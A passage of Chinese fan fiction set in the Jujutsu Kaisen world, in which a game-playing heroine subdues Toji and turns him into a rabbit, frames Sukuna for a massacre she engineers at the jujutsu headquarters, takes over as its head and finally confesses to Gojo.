人的衣领,好似抓住了他的项圈。 “走吧。”她淡淡开口道。 禅院甚尔微微弓着腰,毫无反抗之力地被她拖进了屋子。路过客厅的时候,她漠然地往角落里瞥了一眼。 被发现的小猫咪仿佛被天敌盯上,它的耳朵往后压,夹着尾巴踩着肉垫不敢发出一点声音地钻进了次卧。 “等下来找你。” 一句话,让小猫咪瞬间炸成了一个蓬松的毛绒球。 她、她在说什么啊,听不懂,他不过是一只无辜的小猫咪罢了。 第113章 “想不想活下去?” 禅院甚尔坐在床边上,木着一张脸。 有意义吗?这样作为行尸走肉的活着。如果复活的代价是变成他人手中的傀儡,他不如死了算了。 今野桃挑眉,轻笑着解开了他身上的控制。 当察觉到身体能够活动的刹那,禅院甚尔暴起,连残影都看不见,以一种极快的速度扑向了她。 在狭窄的空间里,也没有人能够来帮助她,他一定可以…… 咚! 沉重的一声闷响,今野桃握住了他的拳头。紧接着,她的手臂扭转,一脚踢在了男人的腿弯处,迫使他单膝跪下,将他的一只手反剪在身后,用肘关节抵住了他的另一只手。 好大的力气! 飞快地在商城里买下了属性药水,今野桃将自己的全属性拉满到了50。再一看被称为“天与暴君”、“术士杀手”的禅院甚尔,最高属性也不过30。 所以说,不要跟挂逼打架。 当初他是怎么打夏油杰的,现在她就是怎么打他的。 今野桃张开五指,扣在禅院甚尔的后脑,然后用力往下一压,把他的侧脸压在了还未叠起的被子上。 这实在是一个很不妙的姿势。 他的上半身陷进了柔软的被褥之中,床垫因为他的重量和身上施加的压力而微微下陷。他的脸颊被轻微地挤压出变形的弧度,鼻梁埋进了层叠的布料之中,一呼一吸都是淡淡的香味。 是洗衣液混合着独属于她的气味,隐隐有点香气,冲得他的大脑开始不太清醒。 “甚尔先生为什么这么激动呢?”她轻柔而又缓慢地开口道,“要好好说话啊。” 你这个样子,可不像是要同他好好说话。 禅院甚尔尝试着挣了两下,如果要拼尽全力、以扭断骨头为代价的话,也不是不能逃离。但是…… 今野桃的指尖插入他的发根,拇指摩挲着他的头皮,像在安抚他,又像是警告。他的脊背如弯弓一样隆起,肩胛骨凸出的曲线随着急促的呼吸起伏,像一对被钉住的蝶翅。 禅院甚尔感觉到她从身后贴了上来,整个人覆在他的背上。她的下巴抵在他的肩胛凹陷处,温热的鼻息喷在他耳后那块敏感的皮肤上,激起一片细小的战栗。 “我不会再问第三遍。”她幽幽说道,“甚尔先生,你想不想活下去。” 活下去?像他这种茫然徘徊在人世间,不知该何去何从的人,活着还是死亡,又有什么区别呢? “活着总是有希望的。只有活着才能有未来,死了的话,就什么都没有了。”今野桃平静地说道。 “希望?我本来也就没有希望可言。”禅院甚尔讥嘲地回答。 今野桃顿了顿,开口问道:“所以你不想看见小惠称为禅院家主,然后统一禅院吗?” “……”禅院甚尔的眼睑颤了颤。 “你不想看见我掀翻整个咒术界,把那些封建的、腐朽的老东西一起送到地狱里去吗?” 换了之前,禅院甚尔高低得嘲讽几句她不自量力。但现在,人为刀殂,他为鱼肉。有着这样强大的实力和深沉的心计,说不定她还真的可以做到。 “当然,你想去死我也不拦着就是了。反正我需要你做到的事情,你也都做完了。”今野桃无所谓地说道,“禅院已经和加茂开打,五条在里面搅混水被发现,总监部遭到诅咒师袭击……这个世界已经如我所愿地开始乱起来了。” 总监部被诅咒师袭击?看样子她在他不知道的地方,还有帮手。 禅院甚尔的笑声从鼻子里哼出来,短而快,像一颗石子溅进水里,转眼就没了踪影。 “我还有的选吗?”他闭上了眼睛。 【禅院甚尔好感值:60】。 咔哒。 房门锁打开的声音是魔鬼降临的讯号,小猫咪哆嗦着往衣柜深处钻。 看不见我看不见我看不见我…… 然而事与愿违,一只大手揪住了它的后脖,把它拎了起来。 “玩得很开心嘛,小猫咪。”她歪着脑袋看他,“偷偷给我的游戏上难度是吧。” “喵?”人在说什么?听不懂。 小猫咪一脸无辜的表情。 今野桃笑了笑,耸耸肩膀说道:“行吧,这么喜欢做小猫,那就一辈子做小猫吧。” 她转身就要离开。 “喵嗷——!”小猫咪一把抱住了她的脚踝,“喵喵喵!” 你说什么?你会把我变回人类吗?! “好奇怪,小猫在叫什么呢?”今野桃挖了挖耳朵,疑惑开口。 “咪……”奶牛猫发出了谄媚的叫声。 今野桃把它捞起来,它也老老实实地一动不动,爪子垂下,像一根软乎乎的面条。 它张开了四肢,露出脆弱的肚皮。 嘶……卧室偶遇可爱猫咪,涩右之术强如怪物,拼尽全力难以抵挡。 今野桃反省了两秒,然后噗地一下把脸埋在了猫咪柔软的腹部。她的鼻尖蹭过细密的绒毛,闻到了蓬松的阳光的味道。 果然是个爱干净的小猫。 她的手指这里捏捏、那里揉揉,感受到了小动物略高的体温和轻微的颤抖。它的眼睛瞪得又大又圆,山竹一样的爪子开了花,在空中无措地抓了抓。 “嘘……”今野桃狡黠地说道,“想想你还未完成的大义啊,杰。” 为什么偏偏这个时候喊他的名字…… “咕……”小猫的喉咙里发出了滚动的声音,原本竖成一条线的瞳孔慢慢扩张。 它的尾巴尖轻轻摇晃,最终认命般瘫软下来,被人类吸了个爽。 今野桃淡定地从嘴角拈下一根黑色的细毛,而小猫咪的腹部已经变成乱糟糟的一团了,几撮毛东倒西歪地支棱,隐约能看见几点凸起。 “喵……?”所以他什么时候可以再变回人类? 小猫咪用期待的目光看着她。 然而有人提上裤子就不认了。 “行了,你先好好反省一下。”今野桃将自己鬓边的乱发整理好,云淡风轻地说道,“是你把关于我的事情告诉禅院甚尔的对吧。” 小猫咪难以置信地望向她,这是要过河拆桥? “喵喵喵!”但你不是轻松解决了吗! 看她那副游刃有余的样子,他真的怀疑自己的所作所为是不是又在她的计划之中了。 “能解决说明我有本事,跟你有什么关系。”今野桃毫不客气地说道,“你在背后捅我刀子的行为太过分了,伤到了我的心。” 伤到了她的心?她还有心吗?! “喵!”那是因为我讨厌那个男人! 小猫咪愤怒地大喊着,毛发炸得跟刺猬一样。 “喵喵!!”这个家里,只允许有我一只猫!! 女人的脸上露出了为难的神色。小猫咪一挺胸,充分展现了它“一山不容二猫”的决绝。 “可是甚尔先生没别的地方去呀……”她无奈地说道,“怎么能赶他走呢。” “喵!”让他去找他儿子! “可是……” “喵喵喵喵嗷嗷!!”嚎到后面,今野桃都有些分不清它在说什么了。 “真拿你没办法。”她无奈地说道,“好吧,我保证,家里就养你一只猫。” 小猫咪留了个心眼:“喵嗷——!” 人也不行! “好。”今野桃垂着眼睑,笑道。 心情舒畅了,小猫这才反应过来自己刚刚做了什么。不是说要让他变回人类吗?嘶,怎么又被她转移话题了。 可是……算了,看在她把那个男人赶走的份上,这次就饶过她好了。 小猫抱住她的手腕,讨好地舔了舔她的指尖。湿漉漉的舌头小得可爱,带着些许倒刺,让人忍不住想要捏一捏。 今野桃的嘴角挂着似有若无的笑,拍了拍它的脑袋…… 第二天,小猫咪打着哈欠走出了猫窝,看见一团黑漆漆站在桌子上。 它的表情呆滞,差点以为自己没睡醒。 那团黑漆漆的鼻头微微皱起,略带粉色的三瓣嘴撇向一边,原本该是水润又楚楚可怜的圆眼睛半眯着,黑曜石一般的瞳孔从眼角斜斜地瞥过来,在长长的睫毛映衬下,仿佛带着嘲笑的意味。 它的感官很敏锐,听见了猫咪那几不可闻的脚步声,耳朵支棱起一只,但另一只却懒洋洋地耷拉着。 “喵嗷嗷嗷!!”兔子!家里怎么会有兔子!! 今野桃把它的饭端了过来,两只碗正对面摆放着:“咪咪,过来吃饭咯。” 见小猫炸毛,她一副刚刚才想起来的样子,捂嘴一笑道: “咪咪,以后要跟兔酱好好相处哦。” “……” 好不了一点!别以为他看不出来,这只兔子,分明就是那个男人变的吧!! 第114章 客厅的气氛有点诡异。 隔着一米远的距离,兔子和猫咪坐在一张桌子上吃饭。 兔子的三瓣嘴慢条斯理地蠕动,胡须有节奏地颤动。猫咪虽 然也在吃饭,但目光却紧紧盯着兔子,仿佛碗里的不是牛肉,而是兔肉。 兔子显然察觉到了它的注视,但丝毫不觉得害怕。 主人放下筷子的声音是一个讯号,今野桃抽出纸巾,笑道:“我吃饱了。” 只见一道残影闪过,猫咪像是一颗毛茸茸的炮弹,直冲兔子而去。 可惜下一秒,两只漆黑的兔爪就按在了它的脸上,兔子的喉咙里滚出一串低沉有力的咕噜声,两只爪子左右开弓,在猫咪的脸上噼里啪啦地扇了几巴掌。 可怜猫咪只有一只爪子,哪里挡得过来,只能张开尖牙聊以威慑。但不等它反击,兔子猛地弹跳起身,身体弯曲得几乎是对折在一起,借助强大的惯性,它用尽全力蹬了出去。一时间,黑色白色的毛漫天飞舞,像蒲公英似的。 “咚”地一声,猫咪吃痛地从桌子上滚了下去,又摔在了地面上。 “哇哦。”今野桃托着下巴,发出惊叹。 显然在这场短暂而快速的战斗中,小猫咪输给了兔酱。 黑色的兔子舔了舔爪子,优雅地梳理起自己的毛发。 忽然,她的膝头一沉,垂眼看过去时,小猫咪已经艰难地爬到了她的身上。 “咪……”它的声音细弱又颤抖,像是受了无尽的委屈。 今野桃失笑,怜悯地说道:“没关系,一定有机会能打赢的。” 小猫咪:你倒是把他的另一只手还给他啊!如果能有两只爪子,他绝对可以打赢的! 可惜冷酷无情的女人又装作听不懂了。她把小猫咪放在沙发上,起身说道:“那我去上班咯,咪咪和兔酱在家要好好相处,知道了吗?” 兔酱的耳朵摆了摆,权当是回应。 呵,一只残废的猫,怎么可能会是他的对手。 兔酱用后爪挠了挠脖子,一下就跳到了冰箱上面,揣着手老神在在地闭上了眼睛…… 今野桃在上班的时候接到了伊地知的电话。 “什么?五条家找过去了?” 这真的是出乎她的预料了。 伊地知在电话那头压低了声音,鬼鬼祟祟地说道:“是的,国内的绝大多数通讯都被我拦住了,但是五条家找了个在海外做事的族人,把消息传给了五条学长。” 还能这样啊。 五条家真是玩不起,眼看自己要打不过了,赶紧摇自己家最强的战斗力回来。 好在五条悟还没反应过来,让伊地知去买飞机票。 “我知道了,交给我吧,你继续联系信得过的辅助监督。”今野桃淡淡地说道,“我们要加快速度了,争取五天、不,三天之内,将事情解决掉。” “三天?会不会有点太急了……” “足够了。”今野桃嗤笑了一声,“怪就怪他们自己吧,老师回来可不会让他们得救,反而是我们真正动手的信号。” “……好。”伊地知犹豫地应下。 今野桃耐着性子给他解释:“你也知道老师的性格,伊地知学长,老师是很心软的,万一总监部那边说点好话,他就要我们到此为止怎么办?开弓没有回头箭,改革改一半,最终的结果就只有失败。” “我知道了。”伊地知咬咬牙,郑重回答。 他现在背负的,不止是他自己,还有跟他同阵营的辅助监督们的性命。 正如今野桃所说,现在妥协的话,他们只会沦落到被清算的下场。 “我们是为了咒术界更好的未来,是为了让老师更加幸福。伊地知,你跟了老师这么久,应该很清楚他的日程安排。一天就睡四个小时,你觉得这是人过的日子吗?” 伊地知洁高不吭声了。虽然知道抱怨的话不该说出口,但他那么尊敬五条悟,怎么可能看得下去他过这种日子。 五条悟自己不觉得累,但爱他的人会心疼他。 挂了电话,今野桃火速清空了从五条悟所在地到日本的全部交通工具上的位置,包括飞机票、船票、火车票……五条悟再强,总不能一路用瞬移回来吧。五条家还没到生死存亡的时刻,没必要这样做。 因此如她所愿,她成功地将日本咒术界最强的脚步拖延住了。但保守估计,也就能拖个三四天的样子。 她估算了一下,时间应该差不多。 三四天……足够御三家和总监部的人死得七七八八了。等那些烂橘子都死光了,真正的“幕后黑手”就会浮出水面。 该选谁来替她背黑锅呢? 羂索吗?是一个不错的选择,但他已经死了,会不会分量不太够? 今野桃在大脑的某个角落里扒拉出来了一个身影。 嗯,就决定是他了。 恰好,他就藏在高专里,顺路的事…… 阴暗的密室里,层层叠叠的符咒下封印着许多邪恶的咒具。它们被隐藏在高专忌库的最深处,决不允许被拿出来。 可惜这里挡得住别人,挡不住今野桃。她轻松突破了所有结界,进入到了密室深处。 所有散发着可怕气息的咒具都比不过中间那个盒子里的东西,封印它的人看起来恨不得让它永远不见天日。 “真可怜啊。”她叹息着,咒力凝聚成锋利的刀刃,划破了贴在上面的符咒。 盒子好像轻轻摇晃了一下。 今野桃半垂着眼睑,指尖挑开盒盖。只听啪嗒一声响,里面的东西露出了真身。 ——是一根比常人长出一截的暗紫色手指,关节处覆盖着螺旋状的纹路,  指甲是不自然的青黑色,尖利得像是野兽的爪子。 她戴着隔绝咒力的手套,将它拿了起来。 好久不见了啊,两面宿傩。 确认无误,她将手指放了回去。不知道是不是错觉,那手指似乎弯了弯,仿佛想要勾住她。 呵,竟然想寄宿在她的身上吗,想得美。 今野桃不屑地哼了一声,盖上了盖子。 她一边往总监部走,一边拨打着电话。 “喂,您好,是直毘人大人吗,我是今野桃,奉五条老师的命令,邀请您前往总监部,调解一下近日各位大人之间的矛盾。” “……哼,既然是五条悟开口,那我就给他几分面子……” “感谢您的理解和支持。”今野桃的嘴上说着礼貌的话,表情已经有点不耐烦了,“您可以多带一些人手,对,最好带上您信得过又实力强的,没什么,主要是我担心其他大人会……哎呀,您懂的。” 这个电话结束,她马不停蹄地又拨出了下一个。 “您好,五条大人,奉 五条老师的命令……” “……加茂家主,您好,奉五条老师的命令……” 死亡名单上的电话打完,她开始联络另一份名单上的人。 “忧太,任务结束了吗?嗯嗯是有事情喊你呢,你来一趟总监部,我让辅助监督去接你。” “棘,来一趟总监部,很重要的事情,放心,不是坏事。” “真希啊,你来一趟总监部,没事,你想要升级的愿望可以实现咯。” “伊地知,让我们的人准备好,随时接替空出来的位置。” 一路走一路打,等到总监部的时候,该通知的人都已经通知到了,该撤走的人也都撤走了。 今野桃抬手在原本的结界里又套了一个结界,许进不许出。 这还是从夏油杰那里学来的小技巧呢。 她在办公室逮住了现任的总监部部长,一个垂垂老矣却还死不肯退位让贤的“烂橘子”。 看见今野桃的出现,他明明慌张却又强装出镇定。 “大胆!你怎么能……” 今野桃可不像五条悟那样惯着他们,上来就是一巴掌,把他的假牙都打飞了。 “大胆!真是太没礼貌了!”今野桃攥住他的头发,把他从地上拎了起来,单手打开盒子,掏出两面宿傩的手指。 “这、这是……”总监部部长显然认识这玩意儿,顿时大惊失色,拼命反抗起来。 但那点力气还没禅院甚尔在床上装模作样挣扎的力气大,今野桃直接把紫黑色的手指塞进了他的嘴巴里。 几乎是手指一进入他的口中,异变就开始了。无序又丑陋的咒纹出现在他的身上,像是活的虫子在他的皮肉里钻来钻去,属于千年前诅咒之王的咒力气息蔓延开来,带着不详的意味。 “嗬……嗬……”沙哑的声音从他的喉咙里挤出来,老头眼珠上翻,只露出眼白。 “快点,快用个斩击。”今野桃催促道。 就算在商城里购买了属于两面宿傩的术式,用出来还是只会留下她的咒力残秽。所以她想要把黑锅扣在两面宿傩的头上,就必须让他现个身。 但作为容器的总监部部长显然已经失去了理智,听不懂人话了。 “快点,不然现在就让你去死。”今野桃的指尖深深陷入他的脖子,只需再用点力就能掐断。 不知道是不是感受到了死亡的威胁,他颤颤巍巍地用出了一道斩击。 奇怪的是,这道斩击竟然不是对着她释放的,而是直直地在墙上留下了深深的划痕。 “行了。”今野桃满意地将他甩开,掏出手帕擦了擦手,“为抵挡盘星教诅咒师的袭击,总监部部长偷偷吃下禁忌咒具两面宿傩的手指,失去理智将御三家的咒术师屠杀殆尽。” 这个剧本不错。 就算五条悟回来,应该也看不出漏洞。 今野桃长舒了一口气。如果还有漏洞,就推到羂索的身上。再不行,就把夏油杰也拉出来。前面有三个背锅的,她不信他们会联想到她的身上。 至于为什么最后是她当上了总监部部长,没办法呀,她的老师淡泊名利,不染世俗尘埃,身为学生,只能为老师效力了。 一脚将半死不活的老头子踢开,今野桃活动着手腕,准备开始清扫工作。 就在此时,原本如一滩烂肉在地上蠕动的老头突然断断续续地吐出了几个字。 “桃……桃……姬……” “桃……桃姬……” 第115章 今野桃蹲下,打量着老头半死不活的样子。 年轻的时候或许他也是一个风云人物,不然当不上总监部的部长。但年纪大了之后,他就是腐朽又顽固还不肯让年轻人上位的蛀虫。 他的眼白里已经布满了血丝,肉也开始溃烂,黑色的纹路变得越来越密集,看着就恶心。 对普通人来说,两面宿傩的手指和毒药无异,吃下去就死。但咒术师的身体抗性高,还能撑一段时间。但这个样子,估计就是神仙来了也救不回来。 难怪羂索要精心准备给两面宿傩的容器,恐怕一般人还真承受不起。 “两面宿傩?”她轻声问道,“你能出来吗?” 老头的眼下突兀地冒出了两道缝隙,一双红色的瞳孔出现。他叹息道:“竟然真的是你啊……桃姬……陛下……” 桃姬是她,陛下也是她。 两面宿傩也在奇怪,自己一闭眼一睁眼,怎么就出现在他的领域当中,而且是以被封印的姿态。 在思来想去几百年后,他有很多个猜测。 比如他死后,身体还是被人做成了咒具。比如他现在正在投胎转世……总之,他记得最清楚的,是两人死前的场景。 已经老去的天皇穿着华贵的衣物,她漫不经心地问道:‘我是不是变得很弱了?’ ‘可能吧。反正还是比我强。’毕竟他也老了。 天皇抬头,看着高悬的明月和星星,突然说道:‘也是时候死去了。我可不想有一天躺在床上不能动,还要别人帮忙。’ ‘明明是厌烦了这个世界吧。’他嗤道,‘那不如让我吃了你?’ 天皇斜晲他,抬手就是一巴掌:‘你咬得动吗,不自量力。’ 他从鼻子里哼出一声,问道:‘那你先还是我先?’ 他们就像是在讨论一个类似“明天吃什么”的问题,语气平静得诡异。 ‘我先吧,我不喜欢看别人离开。’天皇如是说道。 她真是可恶又自私啊,她不愿意看别人离开,难道他就愿意吗? 正在这么想着,她又回过头,看向了他。皎洁的月光映照在她的脸上,她垂下的银色发丝好像也在发着光,如同天上的仙女下凡。 ‘而且,我只相信你,宿傩。’她勾起一个清浅的笑容,‘你会替我安排好后事的吧。’ ‘……啊,我会的。’ 不甘和些许怨恨浮现上心头,他开口道:‘那我可就把我们埋在一起了,下辈子、下下辈子,都要永远和你纠缠在一起。’ ‘随便你好了。’她无谓地说道,‘但我可不保证下辈子还会爱上你。’ 果然还是那样残忍又骄矜。不过没关系,那他就去把她抢过来。 曾经令人闻之丧胆的诅咒之王握住了她垂下的飘带,就像抓住了他们命运的红线。 这就是他们最后的对话了。 “竟然真的是你啊,我还以为我听错了呢。” 她看上去和一千年前毫无区别,眼睛仍旧那样明亮有神,显然转世后的日子过得不错。 可惜这具苍老的身体已经承受不住他更多的咒力了,就连五脏六腑都在融化。两面宿傩只来得及留下一句“等我”,便再次变回了一根手指。 今野桃:“……” 等他?她才不会等他。阴魂不散的前男友就该被棺材板封死,怎么能来打扰她的好日子。要知道这个“两面宿傩”的出现直接打乱了她的计划,她本来都想好了该怎么做才能拿到他的60好感值。80她不算拿,两面宿傩这个人太难搞,80的性价比太低了。 现在…… 嗯? 今野桃打开好感值面板一看,整个人都愣住了。 【两面宿傩好感值:100】 诶……不是……这……呃…… 大脑宕机两秒,一个疑惑浮现在她的脑海中。 这好感值还算不算数啊?她这两万美金算拿到了还是没拿到呢? 天人交战许久,今野桃还是存档退出了游戏。她将这个存档提交给了委托人,询问这是不是bug。 委托人一如往常地回复很快。 [感谢您提交的bug,经检查,应当是游戏运行过程中发生串档现象。] 啊,果然是bug。 今野桃叹息,看样子钱是拿不到了…… [为补偿您的损失,攻略该对象的奖金已发放至您预留的银行卡中,请注意查收。] 嗯?!! 今野桃直接瞪大了眼睛,下一秒,银行短信提示就到了。 哎呀,这这这,这多不好意思呢。 不愧是她第一个攻略的对象哈,就是大方又可爱。 此时此刻,她对两面宿傩的爱意达到了顶峰。 收了钱,打开账户美滋滋地欣赏了一下日益增加的余额,今野桃再次躺进了游戏舱。 她爱工作,工作//爱她!她们是双向奔赴!!。 在某个世界和世界的缝隙之中,有声音在窃窃私语。 [不愧是诅咒之王啊……竟然有着这么强大的执念……] [诶……毕竟咒术师都是疯子嘛……诅咒……就是最扭曲的爱啊……] [好在她聪明,没有向那些人许下下辈子……不然真的可能会追来的呢……] [啊,那她不是更高 兴了,轻轻松松就拿到了奖金……] [……嘘,不要告诉她。]。 乙骨忧太、狗卷棘和禅院真希是最后抵达的一批,他们远远地就看见变成废墟的总监部,坍塌的大楼像是被人暴力拆卸的玩具。 “哟,你们来啦!”今野桃高兴地朝他们招手,“快来这边!” 少年们小心又警惕地走了过去,乙骨忧太问道:“这是发生了什么?有人袭击了总监部?” “敌人离开了吗?”禅院真希四下张望,“看样子伤亡不小。” “金枪鱼蛋黄酱!” 今野桃满不在乎地说道:“哎呀那都是小事,快来。” 只听啪地一声,她在一张纸上盖了个章。 “很好,从今天起,真希就是二级咒术师了!” 禅院真希愣住:“我、我吗?” 她的申请都卡了一年了,怎么突然就…… “拿去,这就是你的凭证。到时候记得拍照上传到工会里。” 工会又是什么? “然后这是忧太的任命书!”今野桃啪啪又盖了两个章,“还有棘的!” 任命书?什么任命书? 两个男生接过一看,只见文件上赫然写着“咒术师工会论坛管理员任命书”。 “年轻人,脑子灵活,就适合干这个。” “可是、可是我们……” “能不能干?”今野桃就问了一句,“这可是只有一次的机会。” 狗卷棘二话不说,在上面签名了。 “鲑鱼!”不干的是傻子! 乙骨忧太咽了口口水,虽然手有点抖,但还是坚定地签上了名。 也就是今野桃帮亲不帮理,按照好感值排名来“论功行赏”,不然两个还在读书的学生哪里能捞到这样的肥差。 “行了,我们接下来去收尾吧。” 领着几个学生,他们走近了总监部大楼。 越近就越能看清楚这片废墟有多么破败,这到底发生了什么啊?! 面对着几双张大的嘴巴,今野桃清了清嗓子,说道:“哎呀,没办法啦,今天御三家和其他家族聚集在这里本来是为了调解矛盾的,结果不知道怎么就打起来了。然后总监部部长吞下了两面宿傩的手指,竟然变异了!他失去理智,把所有人都杀光啦!” “……” 一句话里有太多让人想要吐槽的地方,所以一时间竟然不知道从哪个角度切入。 “等等,那御三家的咒术师不会都……”禅院真希倒吸了一口冷气。 “哈哈,是哦,都死光了呢。”今野桃耸了耸肩膀说道。 禅院真希看见倒塌的建筑里,有衣服上绣着熟悉的标志。 她刚刚……好像还看见禅院直毘人的尸体了。真的假的?! “对了,因为总监部大换血,所以作为新上任的部长,我对总监部的职务进行了调整。以后总监部就改名叫‘咒术师工会’了。具体的内容我创建了一个论坛,大家以后可以在论坛上查看。” 就是嘛,都步入新世纪了,那些老古板还在用纸媒处理文件,又慢又不方便。 “好咯,我们开始收拾吧。”。 五条悟一下飞机就被围住了,来接他的竟然是好久不见的五条家,还带着其他几个家族的人。他挠了挠头,问道:“怎么啦?” “悟大人!你终于回来了!”他们流着眼泪,仿佛看到了救星,“总监部、总监部……” “总监部干什么?”五条悟好奇地问道。 然后他就听见这群人七嘴八舌地说着每个字他都能听清楚但就是不知道什么意思的话。 “等等。”他比了个暂停的手势,“你们的意思是,现在小桃成了总监部、啊不是,是工会会长?” 他们纷纷点头。 “然后我的其他学生,成为了工会论坛的管理员,你们上去发言他们就封你们的号?” 他们大力点头。 “是啊是啊,我们根本就没说什么啊!” “没错!这是干涉我们的言论自由!长此以往,以后咒术界不得被那个女人把持了!” “悟大人,那个女人绝对早就图谋不轨了啊!” 五条悟陷入了沉思。 “还有,那个女人竟然还勾结了诅咒师,甚至让一大批原先的总监部中层、那些根本没能力的辅助监督坐上了高位,实在太过分了!” “没错,太过分了!”五条悟右手握拳,敲在左手掌心上。对着众人呆滞的面庞,他义愤填膺地说道:“真是太过分了!大家都升官了,凭什么漏掉我!我真是白疼她那么多年了!” 第116章 五条悟一开始不太相信这些人说的话。他们不仅把他听话又乖巧的好学生编排成了咒术界的大魔王,还说总监部都没了。 开什么玩笑,他是出差一个多星期,不是出差一年好吗。怎么,就这几天功夫,咒术界就天翻地覆了? 直到他来到曾经总监部的旧址,看见已经被铲平的地皮,他才终于确认,好像确实发生了一些他意想不到的事情。 “那现在总监部在哪?”他好奇地问道。 在东京,就设立在东京都立咒术高专里面。总监部地址的改变,或许也暗示着过去陈旧势力的衰弱。东京取代了京都,成为了新的咒术界中心。 看见五条悟出现,本来坐在办公桌前的今野桃惊讶中带着喜悦,完全没有一点心虚的样子。 “老师!”她高兴地迎了上来,“你回来怎么没跟我说呀,我好去接你。” “啊,因为更改了计划,比原定日期稍微提前了一点。”五条悟的手插在口袋里,四处张望了一番说道,“我又不是什么离不开你的小宝宝。” “嗯嗯,因为我会担心你嘛。”今野桃弯着眼睛,并不对他带着古怪的语气有什么特别的反应。 “听说,你当上总监部部长啦?”五条悟用脚尖勾过一把椅子,趴在了椅背上,撑着脑袋说道,“解释一下?” “不是总监部部长,是咒术师工会的会长!”今野桃纠正道,“总监部已经不存在了,说来这也是一件很曲折的事情。总结成一句话就是——他们同归于尽,而我临危受命。” 今野桃笑吟吟地说着,然而五条悟却没有笑。 大概是被遮住了眼睛,单看他的下半张脸显得有些严肃。 “‘同归于尽’?”这种说法也太可笑了吧,“你确定吗?” “是啊,事实上在老师回来前,这件事已经有了结论。”今野桃嘴角的弧度不变,慢条斯理地说道,“在现场发现了诅咒之王两面宿傩的咒力残秽,以及异变的尸体,判定为总监部部长吞下了两面宿傩的手指后失去控制,杀死了在场的所有人。而恰好之前因为利益分配不均,御三家的咒术师已经彼此攻击,乱成一团了。” 她将多人确认过后的总结报告抽出来,递给了五条悟。 “除此之外,我还在原总监部部长那里发现了一些有趣的东西。”今野桃顿了顿,说道,“老师知道羂索这个人吗?” “羂索?没听过。”五条悟淡淡说道。 “或许我们不该称他为‘羂索’,他多次在漫长的历史上留下痕迹。就我所知道的,他曾经有个名字叫做‘加茂宪伦’。”今野桃一边打量着他的表情,一边斟酌着说道。 “加茂宪伦?”五条悟似乎挑了一下眉毛,“加茂家的耻辱?” “没错,除此之外,他和天元、两面宿傩等人也都相识。”今野桃将第二个背锅的人甩出来,“他还一手主导了夏油学长的叛逃之事。” 五条悟的反应太平静了,让今野桃有点摸不准,于是将他或许最关心的事情说了出来。 “‘星浆体’的事件老师还记得吗?”她将一叠资料递了过去。 五条悟终于收回了始终盘旋在她身上的视线,低头翻看起了关于过去的秘密。 呼——果然还是挚友更加牵动他的心啊。 自以为逃过一劫的今野桃悄悄松了一口气。 然而,五条悟也只是看完了,并未有任何举动。 “我认为,这次御三家的咒术师们操戈相向,或许也是他在操控。”今野桃振振有词地说道。 她也没全都说错,羂索确实早就在御三家和总监部里埋下了大大小小的棋子,显然以后会有一番大动作。可惜人死了,一切安排都落了空。 五条悟看着纸上写得很清楚的、被她调查出来的埋伏在五条家的暗桩,唇线抿得笔直。 “是吗。”他不置可否地放下了资料。 今野桃:“……” 他的反应不对劲啊。今野桃张了张嘴,坐在了他的对面,和他对视着,一字一句认真地问道 :“老师是在不高兴吗?因为我成为了会长?事实上这个会长我做不做都无所谓的,而且老师成为会长的话,我也没有意见。” 当然,她也就是说说而已。辛辛苦苦打下来的天下,怎么可能让给别人来坐。 “不,不是那个。”五条悟如果想要统一咒术界,他早就可以这样做了。他对权力并不热衷,但也不阻拦想要上进的学生。 他伸出手指,拉下眼睛上的绷带,露出一双仿佛能洞察一切的湛蓝色瞳孔。 “小桃做事总是很周全的。”他定定地看着她,“我也相信,这一切从明面上都和你没有关系。但是……” 今野桃的眼睫颤了颤,仿佛预料到他要说什么了。 “比起证据,有时候我更相信直觉。”强者的直觉是很可怕的,它如一道黑暗之中的光,透过层层障碍,笔直地指向了真相。 五条悟起身,走到了她的面前。他弯下腰,一只手撑在了她的椅背上,一只手按住了她的肩膀。两人的距离拉得很近,甚至能感受到彼此的呼吸。 这是过去五条悟绝对不会做出的动作,已经超出了老师和学生、亦或是同事的界限。明眼人一看就知道,他们之间发生过什么。那是比拥抱、亲吻更加亲密的事情。 “小桃,回答我,是不是你做的。”五条悟深吸了一口气,声音有些低沉,带着强烈的压迫感,“杀死那些咒术师、摧毁总监部,这些事,是不是你做的?” 空气好像陷入了凝滞之中,如果是其他人面对这样的五条悟,恐怕早已吓得两股战战。但今野桃沉吟几秒,爽快地点头承认了。 “啊,没错,是我做的。”她的语气中甚至还带着些许理直气壮,仿佛在无声地反问“怎么了”。 五条悟还真的在一瞬间反省了一下自己。 难道是他的错,才让原本最省心的学生做出这样的事情吗? “你为什么要这样做?”五条悟困惑地说道,“是对咒术界不满?还是说你只是想要权力?如果你早点跟我说,我又不会骂你。” 甚至,他可以让五条家托举一下她,反正不用白不用。 “都不是。”今野桃抬手,勾住了他的领口。 看起来很难搞的男人其实衬衫底下还穿着一件打底的背心,曾经因此被她笑言是“深闺六眼”。 “说来你可能不信,老师。”今野桃仰着头,明明处于下位,却有着不弱于对方的气势,“我啊,希望能创造出一个可以让老师真心笑出来的世界呢。” 五条悟愣住了。 “做不完的任务、过度承担的责任、不被理解的最强……听起来不觉得很好笑吗?”今野桃望着他瞳孔深处的自己,“我心疼自己的老师,不可以吗?” 于是询问的话再也说不出口,都被堵在了喉咙里。 “我已经和大家商讨过了,以后所有咒术师都必须在工会登记,并且根据任务量来评定等级。每个人做的任务都会在论坛上展示出来,并进行排名。一年内任务量没有达标的,等级将会降低或撤除。” 比如常年在外的特级咒术师九十九由基。 “总有人不满于老师‘最强’的名号,那我就要让大家知道,老师为咒术界做出的贡献。”今野桃轻蔑地说道,“如果有人不服气,那就用实际行动来挑战。老师的名字,一定会挂在论坛的最顶端!” “我不需要……” “我需要!”今野桃不满地喊道,“你就当是我需要好了!我已经联合了表世界的工作人员联系过了,利用像真希那种的眼镜,普通人也可以看见咒灵。到时候我们会有越来越多的帮手,老师就再也不用到处东奔西跑,连觉都睡不好了!我就是要让所有人知道老师有多强、有多好,我要让……” 今野桃的话没能说完,她被强制闭麦了。 一直开合个不停的嘴唇被含住,趁着她牙关未闭,他强行闯了进来。 直到舌头都被吸得发麻时,今野桃才恍惚想起来,这个男人,好像刚刚才结束二十七年的处男之身,就被她打发走了。 他抓住她的手腕,把她的手掌放在了自己的脖子上。在他用膝盖顶住她的时候,她下意识地抱住了他。 “唔……”她还没说完呢! 五条悟半阖着眼睛,堆雪似的发丝垂下,扫过她的脸颊。她想要伸手去挠,却被误以为想要逃走。他的力气本能地加重,两人之间再无一丝空隙,只有布料摩擦发出的窸窣响声。 